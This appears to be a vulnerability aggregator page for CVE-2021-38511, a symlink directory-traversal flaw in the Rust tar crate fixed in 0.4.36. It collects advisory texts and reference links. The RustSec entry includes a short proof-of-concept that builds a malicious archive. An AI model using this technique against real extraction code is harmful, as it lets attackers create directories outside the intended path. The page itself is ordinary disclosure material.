n/a · Vulnerability
cve-program · CVE-2021-38511
PublishedAn issue was discovered in the tar crate before 0.4.36 for Rust. When symlinks are present in a TAR archive, extraction can create arbitrary directories via .. traversal.
Read the publisher's advisoryeuvd · EUVD-2021-1587
PublishedAn issue was discovered in the tar crate before 0.4.36 for Rust. When symlinks are present in a TAR archive, extraction can create arbitrary directories via .. traversal.
Read the publisher's advisorynvd · CVE-2021-38511
PublishedAn issue was discovered in the tar crate before 0.4.36 for Rust. When symlinks are present in a TAR archive, extraction can create arbitrary directories via .. traversal.
Read the publisher's advisoryosv · GHSA-62jx-8vmh-4mcw
PublishedWhen unpacking a tarball that contains a symlink the tar crate may create directories outside of the directory it's supposed to unpack into. The function errors when it's trying to create a file, but the folders are already created at this point.
Read the publisher's advisoryosv · RUSTSEC-2021-0080
PublishedWhen unpacking a tarball that contains a symlink the `tar` crate may create directories outside of the directory it's supposed to unpack into. The function errors when it's trying to create a file, but the folders are already created at this point. ```rust use std::{io, io::Result}; use tar::{Archive, Builder, EntryType, Header}; fn main() -> Result<()> { let mut buf = Vec::new(); { let mut builder = Builder::new(&mut buf); // symlink: parent -> .. let mut header = Header::new_gnu(); header.set_path("symlink")?; header.set_link_name("..")?; header.set_entry_type(EntryType::Symlink); header.set_size(0); header.set_cksum(); builder.append(&header, io::empty())?; // file: symlink/exploit/foo/bar let mut header = Header::new_gnu(); header.set_path("symlink/exploit/foo/bar")?; header.set_size(0); header.set_cksum(); builder.append(&header, io::empty())?; builder.finish()?; }; Archive::new(&*buf).unpack("demo") } ``` This has been fixed in https://github.com/alexcrichton/tar-rs/pull/259 and is published as `tar` 0.4.36. Thanks to Martin Michaelis ([@mgjm](https://github.com/mgjm)) for discovering and reporting this, and Nikhil Benesch ([@benesch](https://github.com/benesch)) for the fix!
Read the publisher's advisoryAffected versions, risk and source history
Related advisories and sources
Publishers link these advisories through the identifiers shown below. A shared identifier or date alone does not tell you whether your software is affected or whether the advisories describe the same cause.
CVE-2021-38511 · CVE overview and exploitation status
cve-program · CVE-2021-38511
- https://rustsec.org/advisories/RUSTSEC-2021-0080.html
- https://raw.githubusercontent.com/rustsec/advisory-db/main/crates/tar/RUSTSEC-2021-0080.md
euvd · EUVD-2021-1587
- https://rustsec.org/advisories/RUSTSEC-2021-0080.html
- https://raw.githubusercontent.com/rustsec/advisory-db/main/crates/tar/RUSTSEC-2021-0080.md
nvd · CVE-2021-38511
- https://raw.githubusercontent.com/rustsec/advisory-db/main/crates/tar/RUSTSEC-2021-0080.md
- https://rustsec.org/advisories/RUSTSEC-2021-0080.html
osv · GHSA-62jx-8vmh-4mcw
- https://nvd.nist.gov/vuln/detail/CVE-2021-38511
- https://github.com/alexcrichton/tar-rs/issues/238
- https://github.com/alexcrichton/tar-rs/pull/259
- https://github.com/alexcrichton/tar-rs
- https://raw.githubusercontent.com/rustsec/advisory-db/main/crates/tar/RUSTSEC-2021-0080.md
- https://rustsec.org/advisories/RUSTSEC-2021-0080.html
osv · RUSTSEC-2021-0080
Related changes
Linked by CVE identifierNo related changes are available here.